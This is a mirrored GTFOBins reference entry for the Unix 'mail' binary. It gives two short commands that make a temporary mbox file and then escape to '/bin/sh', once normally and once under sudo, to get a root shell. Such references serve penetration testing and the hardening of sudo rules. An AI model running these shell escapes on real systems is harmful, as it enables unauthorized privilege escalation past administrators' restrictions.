1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-01-14 19:31:34 +01:00
GTFOBins.github.io/_gtfobins/mail.md
2018-07-16 15:01:50 +02:00

18 lines
483 B
Markdown

---
functions:
execute-interactive:
- description: This creates a valid Mbox file which may be required by the binary.
code: |
TF=$(mktemp)
echo "From nobody@localhost $(date)" > $TF
mail -f $TF
!/bin/sh
sudo-enabled:
- description: This creates a valid Mbox file which may be required by the binary.
code: |
TF=$(mktemp)
echo "From nobody@localhost $(date)" > $TF
sudo mail -f $TF
!/bin/sh
---